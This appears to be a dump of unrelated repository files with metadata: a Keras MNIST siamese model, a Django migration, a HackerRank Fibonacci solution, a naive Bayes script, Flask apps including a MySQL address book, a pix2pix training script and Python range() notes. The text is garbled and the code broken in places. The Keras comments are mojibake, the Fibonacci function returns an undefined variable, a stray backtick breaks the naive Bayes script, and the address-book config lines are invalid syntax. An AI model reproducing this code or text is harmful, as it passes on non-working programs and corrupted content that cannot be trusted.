cnn.trainable = False # ๅฐๆจกๅ่จญ็บไธๅฏ่จ็ทด (้ไฝๆฌ้)
out = concatenate([cnn(a), cnn(b)]) # ๅฐ a,b ่ผธๅ
ฅๅฐ CNN ๆจกๅๅฑค, ไธฆๅฐ่ผธๅบไธฒๆฅ่ตทไพ
out = Dense(128, activation='relu')(out) # ๅปบ็ซๅญธ็ฟๅ้ก็จ็ Dense ๅฑค
out = Dense(1, activation='sigmoid')(out) # ้ฒ่ก 2 ๅ
ๅ้ก (ๆฏๅฆๅๆธๅญ)
model = Model([a, b], out) # ๅปบ็ซๆจกๅ
model.compile(optimizer='rmsprop', # ็ทจ่ญฏๆจกๅ
loss='binary_crossentropy', metrics=['acc'])
from tensorflow.keras.datasets import mnist
import numpy as np
(train_images, train_labels), (test_images, test_labels) = mnist.load_data() # ่ผๅ
ฅMNIST่ณๆ้
xa = train_images.reshape((60000,784)).astype('float32') / 255 # ้ ่็ๅ็ๆจฃๆฌ
ya = train_labels # ๆจ็ฑคไธ้ ่็, ๅ ็บ็จๅพ่ฆ็จไพๆฏๅฐๆฏๅฆ็บ็ธๅๆธๅญ
idx = np.arange(40000) #}ๅฐ xaใya ็ๅ 4 ่ฌ็ญ้จๆฉ้ๆๅพ,
np.random.shuffle(idx) #}้ฃๅๅพ 2 ่ฌ็ญไธ่ตทๅฆๅญๅฐ xbใyb,
xb = np.concatenate((xa[idx], xa[40000:])) #}้ๆจฃ่ณๅฐๆๆ 2 ่ฌ็ญไปฅไธ็ๆจ็ฑค็บ็ธๅๆธๅญ
yb = np.concatenate((ya[idx], ya[40000:])) #}
y = np.where(ya==yb, 1.0, 0.0) # ๅปบ็ซๆจ็ฑค๏ผ1 ็บๆฏ(็ธๅๆธๅญ), 0 ็บๅฆ
idx = np.arange(60000) #} ๅๆฌกๅฐ xa/yaใxb/yb ๅๆญฅ้จๆฉ้ๆ
np.random.shuffle(idx) #}
xa, xb, y = xa[idx], xb[idx], y[idx] #}
xa = xa.reshape((60000,28,28,1)) #} ๅฐๆจฃๆฌๆน็บ็ฌฆๅ CNN ่ผธๅ
ฅ็ shape
xb = xb.reshape((60000,28,28,1)) #}
n = 2000 # ่จญๅฎๅชๅๅ 2000 ็ญไพๅ่จ็ทด
print(f'่จ็ทด่ณๆๅ
ฑ {len(y[:n])} ็ญ, ๅ
ถไธญๆ {int(y[:n].sum())} ็ญ็บ็ธๅๆธๅญ')
# โ โ
# ๅชๅๅ n ็ญๅ่จ็ทด
# โ โ โ
his = model.fit([xa[:n], xb[:n]], y[:n], validation_split=0.1, #} ๅ 10% ๅ้ฉ่ญ, ่จ็ทด 20 ้ฑๆ
epochs=20, batch_size=128, verbose=2) #}
import util5 as u
u.plot(his.history, ('acc', 'val_acc'), # ็นช่ฃฝ่จ็ทดๅ้ฉ่ญ็ๆบ็ขบ็็ทๅ
'Training & Validating Acc', ('Epoch','Acc'))
# ๅฐๅฉไธ็่ณๆๆฟไพ่ฉไผฐๆๆ
# โ โ
print(f'ๆธฌ่ฉฆ่ณๆๅ
ฑ {len(y[n:])} ็ญ, ๅ
ถไธญๆ {int(y[n:].sum())} ็ญ็บ็ธๅๆธๅญ')
score = model.evaluate([xa[n:], xb[n:]], y[n:], verbose=0) # ่ฉไผฐๆๆ
print('ๅฐๆธฌ่ฉฆ่ณๆ้็ๆบ็ขบ็๏ผ', score[1]) | [
"noreply@github.com"
] | BrewTC.noreply@github.com |
677d47197c3561f094ce1a770b54ab5bce5f5962 | de3b38cd10f03305b1bf451fc00063d2ee0a9a47 | /core/migrations/0007_auto_20201217_1843.py | 257e624b6d2dd26cf7037a20ee900b653adc7899 | [] | no_license | Foster-Closet/BE | 01128fbdda3593fd9432ab10e88a79d1619387af | 4ccd0b36c79d686335faca88ab19ec574dbd191e | refs/heads/main | 2023-02-20T07:26:48.967744 | 2021-01-14T01:48:54 | 2021-01-14T01:48:54 | 321,476,606 | 0 | 0 | null | 2020-12-17T13:14:53 | 2020-12-14T21:24:57 | Python | UTF-8 | Python | false | false | 489 | py | # Generated by Django 3.1.4 on 2020-12-17 18:43
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0006_auto_20201215_2332'),
]
operations = [
migrations.AlterField(
model_name='item',
name='registry',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='items', to='core.registry'),
),
]
| [
"nraven22@gmail.com"
] | nraven22@gmail.com |
ddeec689b8e89e2f2adefef242d1f9eb865058bd | 6a0b9581195400a93027aca881b1bc687401913d | /hackerrank-python/algorithm/dynamic programming/fibonacciModified - recursion best dynamic programming.py | 3d9943c41bb961d06300a923fd3e0f7a518854fe | [] | no_license | 108krohan/codor | 1d7ff503106ad6b2c18bc202d4c88f296600f28e | 2e485607080f919f273aa6c8c0d9cb3516cf4443 | refs/heads/master | 2021-04-28T21:13:34.604020 | 2018-02-18T11:55:26 | 2018-02-18T11:55:26 | 86,153,540 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,299 | py | """fibonacci modified at hackerrank.com
"""
"""
Problem Statement
A series is defined in the following manner:
Given the nth and (n+1)th terms, the (n+2)th can be computed
by the following relation
Tn+2 = (Tn+1)2 + Tn
So, if the first two terms of the series are 0 and 1:
the third term = 12 + 0 = 1
fourth term = 12 + 1 = 2
fifth term = 22 + 1 = 5
... And so on.
Given three integers A, B and N, such that the first
two terms of the series (1st and 2nd terms)
are A and B respectively, compute the Nth term of the series.
Input Format
You are given three space separated integers A, B and N on one line.
Input Constraints
0 <= A,B <= 2
3 <= N <= 20
Output Format
One integer.
This integer is the Nth term of the given
series when the first two terms are A and B respectively.
Note
Some output may even exceed the range of 64 bit integer.
Sample Input
0 1 5
Sample Output
5
"""
def fibonacciMod(A, B, N) :
def fiboMod(N) :
if N == 3 :
return B**2 + A
elif N == 2 :
return B
elif N == 1 :
return C
return fiboMod(N-1)**2 + fiboMod(N-2)
return fiboMod(N)
A, B, N = [int(x) for x in raw_input().split()]
print fibonacciMod(A, B, N)
| [
"108krohan@gmail.com"
] | 108krohan@gmail.com |
2b850721e0788d6ccea9f608fda8ed4528379a1b | c16923fb8e2880e5e4c5fd314482b9e22ac63eda | /code/train_scripts/train_naive_bayes.py | a2c9a253aede1ac174d6ebb77f836f967cbd7196 | [] | no_license | suyinw/txtnets | 20ca8183e50ae24046157c0374e3d579e676ad47 | 2e67d47ebf680f0e1b2ea3c1fdf14b8ded6728be | refs/heads/master | 2021-01-11T05:05:59.575635 | 2016-01-16T12:35:59 | 2016-01-16T12:35:59 | 95,038,571 | 1 | 1 | null | 2017-06-21T19:26:46 | 2017-06-21T19:26:46 | null | UTF-8 | Python | false | false | 2,075 | py | from __future__ import print_function
from __future__ import division
__author__ = 'mdenil'
import numpy as np
import os
import simplejson as json
import cPickle as pickle
from nltk.probability import FreqDist
from nltk.classify import SklearnClassifier
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_selection import SelectKBest, chi2
from sklearn.naive_bayes import MultinomialNB
# from sklearn.svm import LinearSVC
from sklearn.pipeline import Pipeline
def load_data(file_name):
with open(file_name) as data_file:
raw_data = json.load(data_file)
train_x, train_y = map(list, zip(*raw_data))
data = []
for sentences, label in zip(train_x, train_y):
words = [w for s in sentences for w in s]
data.append((FreqDist(words), label))
return data
def load_train_data():
return load_data("/users/mdenil/code/txtnets/txtnets_deployed/data/stanfordmovie/stanfordmovie.train.sentences.clean.json")
def load_test_data():
return load_data("/users/mdenil/code/txtnets/txtnets_deployed/data/stanfordmovie/stanfordmovie.test.sentences.clean.json")
def load_unsup_data():
return load_data("/users/mdenil/code/txtnets/txtnets_deployed/data/stanfordmovie/stanfordmovie.unsup.sentences.clean.json")
def get_naive_bayes():
pipeline = Pipeline([
('tfidf', TfidfTransformer()),
('nb', MultinomialNB()),
])
return SklearnClassifier(pipeline)
`
def run():
train_data = load_train_data()
test_data = load_test_data()
ys = np.asarray([y for x,y in test_data])
naive_bayes = get_naive_bayes()
naive_bayes.train(train_data)
y_hats = np.asarray(naive_bayes.classify_many([x for x,y in test_data]))
print("At 100%, acc:", np.mean(ys == y_hats))
for k in [5, 4, 3, 2]:
summary_data = load_data("summaries_{}.json".format(k))
y_hats = np.asarray(naive_bayes.classify_many([x for x,y in summary_data]))
print("Pick {}:".format(k), np.mean(ys == y_hats))
if __name__ == "__main__":
run() | [
"misha.denil@gmail.com"
] | misha.denil@gmail.com |
a396ad6690c6ec21491523b0fc1bbda40c5f0cb0 | cc2fcc1a0c5ea9789f98ec97614d7b25b03ba101 | /st2common/st2common/callback/base.py | 9fa261ab8b4c0c6de28e44363b8e6ed665defa6f | [
"Apache-2.0"
] | permissive | Junsheng-Wu/st2 | 6451808da7de84798641882ca202c3d1688f8ba8 | c3cdf657f7008095f3c68b4132b9fe76d2f52d81 | refs/heads/master | 2022-04-30T21:32:44.039258 | 2020-03-03T07:03:57 | 2020-03-03T07:03:57 | 244,301,363 | 0 | 0 | Apache-2.0 | 2022-03-29T22:04:26 | 2020-03-02T06:53:58 | Python | UTF-8 | Python | false | false | 1,147 | py | # Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import abc
import six
from st2common import log as logging
__all__ = [
'AsyncActionExecutionCallbackHandler',
]
LOG = logging.getLogger(__name__)
@six.add_metaclass(abc.ABCMeta)
class AsyncActionExecutionCallbackHandler(object):
@staticmethod
@abc.abstractmethod
def callback(url, context, status, result):
raise NotImplementedError()
| [
"wei.ying@easystack.cn"
] | wei.ying@easystack.cn |
01393de60e7bc0e6204a48be7428ab88daa374c1 | 0563fcecda5985b2f974059706da7b9cd3d6eee8 | /venv/bin/gunicorn_django | 9fe278b0c44ca509901fa5d858adfbff4f8e1efa | [] | no_license | echaddock/RockMyWorld | 08daa2fbb8193e7a25960aed7b3d3d51e5b07529 | 50929875011b37daca78752f36fe9d683170dadc | refs/heads/master | 2016-08-05T09:03:42.296697 | 2014-03-06T21:39:48 | 2014-03-06T21:39:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 355 | #!/Users/elizabethchaddock/FlaskProject/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'gunicorn==18.0','console_scripts','gunicorn_django'
__requires__ = 'gunicorn==18.0'
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.exit(
load_entry_point('gunicorn==18.0', 'console_scripts', 'gunicorn_django')()
)
| [
"echaddoc@ucsd.edu"
] | echaddoc@ucsd.edu | |
8d70e586dd0ee55bb52aeb072f830c60056fe9b3 | e906ebafb40786afd3f84ad01bbe8d81fd260435 | /sample/frontend/frontend_service.py | 5db95af768ee07112f59f651b938d0cba2e19237 | [
"MIT"
] | permissive | clarencenpy/kube-cam | 79dd3ee5673e41740268d555dfd48dfac2e97102 | d9c8b0481209765d0e77075a87da5b1f71b51929 | refs/heads/master | 2020-08-25T02:01:15.439571 | 2018-05-09T19:33:54 | 2018-05-09T19:33:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 479 | py | from flask import Flask, request, jsonify
import requests
import json
app = Flask(__name__)
@app.route('/health', methods=['GET'])
def health():
return "playground is healthy"
@app.route('/', methods=['GET'])
def handle():
return ''
@app.route('/number', methods=['GET'])
def handle_python():
req = requests.post('http://backend-service/number')
return req.text
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000, threaded=True)
| [
"11187006+setttings@users.noreply.github.com"
] | 11187006+setttings@users.noreply.github.com |
f5f9be6a2331beafe73419b5e3e0fdb16b7d7f4b | a6bdea109061dd5f406af25520757cbeb5cea0fd | /AddressBook/app1.py | 09aecbeea003bfb82e81c2006360a74363c951d6 | [] | no_license | james-od/addressbookAdministrate | 9ba9b46887862e040b5da0c71e304bc8552ea2be | 09f745ff718f4e35436e668b62e63e929db5da1f | refs/heads/master | 2020-05-23T07:50:59.160797 | 2017-03-21T13:18:14 | 2017-03-21T13:18:14 | 80,454,464 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,911 | py | from flask import Flask, render_template, request, json
app = Flask(__name__)
from flask.ext.mysql import MySQL
mysql = MySQL()
# MySQL configurations
app.config['MYSQL_DATABASE_USER'] = #username
app.config['MYSQL_DATABASE_PASSWORD'] = #password
app.config['MYSQL_DATABASE_DB'] = 'james_odonnell_addressbook'
app.config['MYSQL_DATABASE_HOST'] = 'mysql.james-odonnell.com'
mysql.init_app(app)
@app.route("/")
def main():
return render_template('index.html')
@app.route('/showAddContact')
def showAddContact():
return render_template('addContact.html')
@app.route('/addContact',methods=['POST'])
def addContact():
_name = request.form['inputName']
_details = request.form['inputDetails']
_org = request.form['inputOrganisation']
if _name and _details and _org:
connection = mysql.connect()
cursor = connection.cursor()
cursor.execute("""insert into Contacts(name, details, org) values(%s,%s,%s)""",(_name, _details, _org))
connection.commit()
connection.close ()
return json.dumps({'html':'<span>All fields good !!</span>'})#These could be made more descriptive
else:
return json.dumps({'html':'<span>Bad</span>'})
@app.route('/addOrganisation',methods=['POST'])
def addOrganisation():
_orgname = request.form['inputOrgName']
_orgdetails = request.form['inputOrgDetails']
if _orgname and _orgdetails:
connection = mysql.connect()
cursor = connection.cursor()
cursor.execute("""insert into Organisations(name, details) values(%s,%s)""",(_orgname, _orgdetails))
connection.commit()
connection.close ()
return json.dumps({'html':'<span>All fields good !!</span>'})
else:
return json.dumps({'html':'<span>Bad</span>'})
@app.route('/editContact')
def edit():
return render_template('editContact.html')
@app.route('/runEditContact',methods=['POST'])
def editContact():
_name1 = request.form['inputname1']
_details1 = request.form['inputdetails1']
_org1 = request.form['inputorg1']
_name2 = request.form['inputname2']
_details2 = request.form['inputdetails2']
_org2 = request.form['inputorg2']
if _name1 and _details1 and _org1:
connection = mysql.connect()
cursor = connection.cursor()
cursor.execute("""update Contacts set name=%s, details=%s, org=%s where name=%s and details=%s and org=%s""",(_name2, _details2, _org2, _name1, _details1, _org1))
connection.commit()
connection.close ()
print_contacts()
return json.dumps({'html':'<span>All fields good !!</span>'})
else:
return json.dumps({'html':'<span>Bad</span>'})
@app.route('/editOrg')
def editorg():
return render_template('editOrg.html')
@app.route('/runEditOrg',methods=['POST'])
def editOrganisation():
_name1 = request.form['inputname1']
_details1 = request.form['inputdetails1']
_name2 = request.form['inputname2']
_details2 = request.form['inputdetails2']
if _name1 and _details1:
connection = mysql.connect()
cursor = connection.cursor()
cursor.execute("""update Organisations set name=%s, details=%s where name=%s and details=%s""",(_name2, _details2, _name1, _details1))
connection.commit()
connection.close ()
return json.dumps({'html':'<span>All fields good !!</span>'})
else:
return json.dumps({'html':'<span>Bad</span>'})
@app.route('/delContact')
def delContact():
_name1 = request.args.get('name')
_details1 = request.args.get('details')
_org1 = request.args.get('organisation')
if _name1 and _details1 and _org1:
connection = mysql.connect()
cursor = connection.cursor()
cursor.execute("""delete from Contacts where name=%s and details=%s and org=%s""",(_name1, _details1, _org1))
connection.commit()
connection.close ()
#return render_template('index.html')
#terrible, tried to return print_contacts() instead
connection = mysql.connect()
cursor = connection.cursor()
temp = cursor.execute("""select name, details, org, id from Contacts""")
contactsList = cursor.fetchall()
connection.commit()
contacts = [dict(name=row[0], details=row[1], org=row[2]) for row in contactsList]
temp = cursor.execute("""select name, details from Organisations""")
orgs = cursor.fetchall()
connection.commit()
organisations = [dict(name=row[0], details=row[1]) for row in orgs]
connection.close ()
return render_template('viewBook.html', contacts=contacts, organisations=organisations)
else:
return json.dumps({'html':'<span>Failed to delete</span>'})
@app.route('/delOrg')
def delOrg():
_name1 = request.args.get('name')
_details1 = request.args.get('details')
if _name1 and _details1:
connection = mysql.connect()
cursor = connection.cursor()
cursor.execute("""delete from Organisations where name=%s and details=%s""",(_name1, _details1))
connection.commit()
connection.close ()
#return render_template('index.html')
#terrible, tried to return print_contacts() instead
connection = mysql.connect()
cursor = connection.cursor()
temp = cursor.execute("""select name, details, org, id from Contacts""")
contactsList = cursor.fetchall()
connection.commit()
contacts = [dict(name=row[0], details=row[1], org=row[2]) for row in contactsList]
temp = cursor.execute("""select name, details from Organisations""")
orgs = cursor.fetchall()
connection.commit()
organisations = [dict(name=row[0], details=row[1]) for row in orgs]
connection.close ()
return render_template('viewBook.html', contacts=contacts, organisations=organisations)
else:
return json.dumps({'html':'<span>Failed to delete</span>'})
@app.route('/viewBook')
def print_contacts():
connection = mysql.connect()
cursor = connection.cursor()
temp = cursor.execute("""select name, details, org, id from Contacts""")
contactsList = cursor.fetchall()
connection.commit()
contacts = [dict(name=row[0], details=row[1], org=row[2]) for row in contactsList]
temp = cursor.execute("""select name, details from Organisations""")
orgs = cursor.fetchall()
connection.commit()
organisations = [dict(name=row[0], details=row[1]) for row in orgs]
connection.close ()
return render_template('viewBook.html', contacts=contacts, organisations=organisations)
if __name__ == "__main__":
app.run()
| [
"noreply@github.com"
] | james-od.noreply@github.com |
20dd8146bc22051e2dfe7cdfd0d5ab3fe2830c05 | 564fa0e26aaaef5053cfb8c3cb5dfd5486f32a55 | /2020-02/2-18-20/Solution.py | 797d2b051c5929eb36a53802c159c88d9642d976 | [] | no_license | SeanValley/DailyProblems | 84b14e04c40ef3337599181f68036b0cc76c3722 | 8fb3acc650c8c858d29e36cf21423b8410aa245d | refs/heads/master | 2021-01-07T19:28:44.555874 | 2020-03-22T09:39:30 | 2020-03-22T09:39:30 | 241,797,975 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 634 | py | #main() contains test cases for the containsSum() method
#containsSum() will return true if any 2 of the numbers in an array
#add up to k
def main():
array = [10, 15, 3, 7]
k = 17
array2 = [11, 5, 2, 21, 53, 1000, 42]
k2 = 44
array3 = [5, 1, 3]
k3 = 10
print(containsSum(array, k))
print(containsSum(array2, k2))
print(containsSum(array3, k3))
def containsSum(array, k):
for i in range(0, (len(array) - 1)):
for j in range(i+1, (len(array))):
tempValue = array[i] + array[j]
if(tempValue == k):
return True
return False
main()
| [
"valleydsean@gmail.com"
] | valleydsean@gmail.com |
59b6ab882ecb2f059133d991b5eb135d089688ee | f56d29fb08a1e3cc4fba2fd2fcb4f115a2a33f43 | /src/raizen_etl/pipeline_registry.py | ba55dae28ed96785f6f03835957cc2d2a2605d81 | [
"CC0-1.0"
] | permissive | vapolonio/kedro_etl | a706e31e57db213b0c6c1f9cabc9b05a6506d47b | e74fc408d0f48b43a0a5e85c8bcfa0782753edad | refs/heads/main | 2023-06-04T06:56:02.423433 | 2021-06-25T19:02:25 | 2021-06-25T19:02:25 | 380,320,189 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,828 | py | # Copyright 2021 QuantumBlack Visual Analytics Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND
# NONINFRINGEMENT. IN NO EVENT WILL THE LICENSOR OR OTHER CONTRIBUTORS
# BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF, OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# The QuantumBlack Visual Analytics Limited ("QuantumBlack") name and logo
# (either separately or in combination, "QuantumBlack Trademarks") are
# trademarks of QuantumBlack. The License does not grant you any right or
# license to the QuantumBlack Trademarks. You may not use the QuantumBlack
# Trademarks or any confusingly similar mark as a trademark for your product,
# or use the QuantumBlack Trademarks in any other manner that might cause
# confusion in the marketplace, including but not limited to in advertising,
# on websites, or on software.
#
# See the License for the specific language governing permissions and
# limitations under the License.
"""Project pipelines."""
from typing import Dict
from kedro.pipeline import Pipeline
from raizen_etl.pipelines import etl_raizen
def register_pipelines() -> Dict[str, Pipeline]:
"""Register the project's pipelines.
Returns:
A mapping from a pipeline name to a ``Pipeline`` object.
"""
etl = etl_raizen.create_pipeline()
return {"__default__": Pipeline([etl])}
| [
"victor@apolonio.dev"
] | victor@apolonio.dev |
767601f0c5e151446b2efa4309f8a3db83bc3190 | 14fd7d664a3779432ac3e6ad59d95e877fd23e47 | /train.py | fa2f65ed4f73027337583f3ad7dbeaa3bc27bd2c | [] | no_license | snigdhsanjivani/xAI-BachGAN | 1dcdee98a4635733132c53c1d3b5e0fbe16ba11d | df3f48263bab0746886ba90311628fdb9a3d371c | refs/heads/main | 2023-02-26T18:14:12.593269 | 2021-01-29T21:49:33 | 2021-01-29T21:49:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,276 | py | """
Copyright (C) 2019 NVIDIA Corporation. All rights reserved.
Licensed under the CC BY-NC-SA 4.0 license (https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode).
"""
import sys
from collections import OrderedDict
from options.train_options import TrainOptions
import data
from util.iter_counter import IterationCounter
from util.visualizer import Visualizer
from trainers.pix2pix_trainer import Pix2PixTrainer
import numpy as np
from models.networks.sync_batchnorm import DataParallelWithCallback
from util.explanation_utils import explanation_hook, get_explanation, explanation_hook_cifar
# parse options
opt = TrainOptions().parse()
# print options to help debugging
print(' '.join(sys.argv))
# load the dataset
dataloader = data.create_dataloader(opt)
class Pix2PixTrainer():
"""
Trainer creates the model and optimizers, and uses them to
updates the weights of the network while reporting losses
and the latest visuals to visualize the progress in training.
"""
def __init__(self, opt):
self.opt = opt
if self.opt.dual:
from models.pix2pix_dualmodel import Pix2PixModel
elif self.opt.dual_segspade:
from models.pix2pix_dual_segspademodel import Pix2PixModel
elif opt.box_unpair:
from models.pix2pix_dualunpair import Pix2PixModel
else:
from models.pix2pix_model import Pix2PixModel
self.pix2pix_model = Pix2PixModel(opt)
self.netG = self.pix2pix_model.netG
self.discriminator = self.pix2pix_model.netD
if len(opt.gpu_ids) > 0:
self.pix2pix_model = DataParallelWithCallback(self.pix2pix_model,
device_ids=opt.gpu_ids)
self.pix2pix_model_on_one_gpu = self.pix2pix_model.module
else:
self.pix2pix_model_on_one_gpu = self.pix2pix_model
self.generated = None
if opt.isTrain:
self.optimizer_G, self.optimizer_D = \
self.pix2pix_model_on_one_gpu.create_optimizers(opt)
self.old_lr = opt.lr
# self.d_out = None
self.explanationType = 'shap'
def run_generator_one_step(self, data, local_explainable):
self.optimizer_G.zero_grad()
g_losses, generated = self.pix2pix_model(data, mode='generator')
import numpy as np
d_o1 = self.run_discriminator_one_step(data)
# print("do1", d_o1)
d_o1 = np.array(d_o1)
if local_explainable:
get_explanation(generated_data=generated, discriminator=self.discriminator, prediction=d_o1,
XAItype=self.explanationType, trained_data=data, data_type="abc")
g_loss = sum(g_losses.values()).mean()
g_loss.backward()
self.optimizer_G.step()
self.g_losses = g_losses
self.generated = generated
def run_discriminator_one_step(self, data):
self.optimizer_D.zero_grad()
d_losses, d_out = self.pix2pix_model(data, mode='discriminator')
d_loss = sum(d_losses.values()).mean()
d_loss.backward()
self.optimizer_D.step()
self.d_losses = d_losses
# self.d_out = d_out
return d_out
def get_latest_losses(self):
return {**self.g_losses, **self.d_losses}
def get_latest_generated(self):
return self.generated
def update_learning_rate(self, epoch):
self.update_learning_rate(epoch)
def save(self, epoch):
self.pix2pix_model_on_one_gpu.save(epoch)
##################################################################
# Helper functions
##################################################################
def update_learning_rate(self, epoch):
if epoch > self.opt.niter:
lrd = self.opt.lr / self.opt.niter_decay
new_lr = self.old_lr - lrd
else:
new_lr = self.old_lr
if new_lr != self.old_lr:
if self.opt.no_TTUR:
new_lr_G = new_lr
new_lr_D = new_lr
else:
new_lr_G = new_lr / 2
new_lr_D = new_lr * 2
for param_group in self.optimizer_D.param_groups:
param_group['lr'] = new_lr_D
for param_group in self.optimizer_G.param_groups:
param_group['lr'] = new_lr_G
print('update learning rate: %f -> %f' % (self.old_lr, new_lr))
self.old_lr = new_lr
# create trainer for our model
trainer = Pix2PixTrainer(opt)
# create tool for counting iterations
iter_counter = IterationCounter(opt, len(dataloader))
# create tool for visualization
visualizer = Visualizer(opt)
# seq_len_total = 0
# for i, data_i in enumerate(dataloader, start=iter_counter.epoch_iter):
# print(i)
# print(data_i['retrival_label_list'].shape)
# # if i == 1:
# # break
# exit()
# label_tensor = data_i['label']
# label_np = label_tensor.data.cpu().numpy()[0]
# label_seq = np.unique(label_np)
# seq_len_total += len(label_seq)
# break
# print(seq_len_total/float(i))
explanationSwitch = (len(iter_counter.training_epochs()) + 1) / 2 if len(iter_counter.training_epochs()) % 2 == 1 else len(iter_counter.training_epochs()) / 2
for epoch in iter_counter.training_epochs():
iter_counter.record_epoch_start(epoch)
for i, data_i in enumerate(dataloader, start=iter_counter.epoch_iter):
# local_explainable=True
iter_counter.record_one_iteration()
# if (epoch - 1) == explanationSwitch:
trainer.netG.out.register_backward_hook(explanation_hook)
local_explainable = True
# Training
# train generator
if i % opt.D_steps_per_G == 0:
trainer.run_generator_one_step(data_i, local_explainable)
# train discriminator
trainer.run_discriminator_one_step(data_i)
# Visualizations
if iter_counter.needs_printing():
losses = trainer.get_latest_losses()
visualizer.print_current_errors(epoch, iter_counter.epoch_iter,
losses, iter_counter.time_per_iter)
visualizer.plot_current_errors(losses, iter_counter.total_steps_so_far)
if iter_counter.needs_displaying():
visuals = OrderedDict([('input_label', data_i['label']),
('synthesized_image', trainer.get_latest_generated()),
('real_image', data_i['image'])])
visualizer.display_current_results(visuals, epoch, iter_counter.total_steps_so_far)
if iter_counter.needs_saving():
print('saving the latest model (epoch %d, total_steps %d)' %
(epoch, iter_counter.total_steps_so_far))
trainer.save('latest')
iter_counter.record_current_iter()
trainer.update_learning_rate(epoch)
iter_counter.record_epoch_end()
if epoch % opt.save_epoch_freq == 0 or \
epoch == iter_counter.total_epochs:
print('saving the model at the end of epoch %d, iters %d' %
(epoch, iter_counter.total_steps_so_far))
trainer.save('latest')
trainer.save(epoch)
print('Training was successfully finished.')
| [
"noreply@github.com"
] | snigdhsanjivani.noreply@github.com |
06a1d3e9fa7d083550dbce07e54ed58d01280794 | a741d5771333080897eb5b583c1c9bcf2778f480 | /.venv/bin/rst2pseudoxml.py | 2ac3a001b079a77fe8dd5ab738783064ae8ba7f5 | [] | no_license | HuemanTarget/pop-collector | 04d1012c4f8796e5fb807ba5d1604a75b9c56e17 | 9c7190beec232b78210ecd07f858867adbdb209d | refs/heads/master | 2020-12-28T00:04:24.645547 | 2020-02-06T22:07:37 | 2020-02-06T22:07:37 | 238,113,572 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 636 | py | #!/Users/pompousair/SEI/popcollector/.venv/bin/python
# $Id: rst2pseudoxml.py 4564 2006-05-21 20:44:42Z wiemann $
# Author: David Goodger <goodger@python.org>
# Copyright: This module has been placed in the public domain.
"""
A minimal front end to the Docutils Publisher, producing pseudo-XML.
"""
try:
import locale
locale.setlocale(locale.LC_ALL, '')
except:
pass
from docutils.core import publish_cmdline, default_description
description = ('Generates pseudo-XML from standalone reStructuredText '
'sources (for testing purposes). ' + default_description)
publish_cmdline(description=description)
| [
"38532350+HuemanTarget@users.noreply.github.com"
] | 38532350+HuemanTarget@users.noreply.github.com |
c68935937f9fc5a69a89794dfe485bee4f51f55e | 2a2e503746bd2118047d830a3c2b1910ea7a7b0a | /็ฌฌไบ็ซ /1.py | df1f367d2f3c49c76bb4776ea4a9560f7278dbf9 | [] | no_license | hc973591409/python-auto | dabd1bfae7a5f24b49e25bd855ef8456494aa2b8 | c4182d81693ea93d27965c261ad7dffce2cd180a | refs/heads/master | 2020-04-01T10:53:23.490608 | 2018-10-16T12:58:30 | 2018-10-16T12:58:30 | 153,136,118 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 626 | py | # rangeๅฝๆฐ
for i in range(5):
print(i,end=',')
# rang(0,5)
# 0,1,2,3,4,
# range(start, end, step)
# ไธไธชๅๆฐ็ๆถๅ๏ผ้ป่ฎคstartไฝ0
# ไธคไธชๅๆฐ๏ผๆฏไธไธช[ ),ๆฏไธไธชๅทฆ้ญๅณๅผ ๅบ้ด
# ไธไธชๅๆฐ๏ผไป่ตทๅง็นๅผๅงๅๅผ๏ผๆ็
งๆญฅ้ฟๅๅผ๏ผๅฝๆญฅ้ฟไฝ่ดๆฐ็ๆถๅ๏ผๅๅๅๅผ
>>> list(range(10))
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> list(range(1, 11))
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
>>> list(range(0, 30, 5))
[0, 5, 10, 15, 20, 25]
>>> list(range(0, 10, 3))
[0, 3, 6, 9]
>>> list(range(0, -10, -1))
[0, -1, -2, -3, -4, -5, -6, -7, -8, -9]
>>> list(range(0))
[]
>>> list(range(1, 0))
[] | [
"973591409@qq.com"
] | 973591409@qq.com |
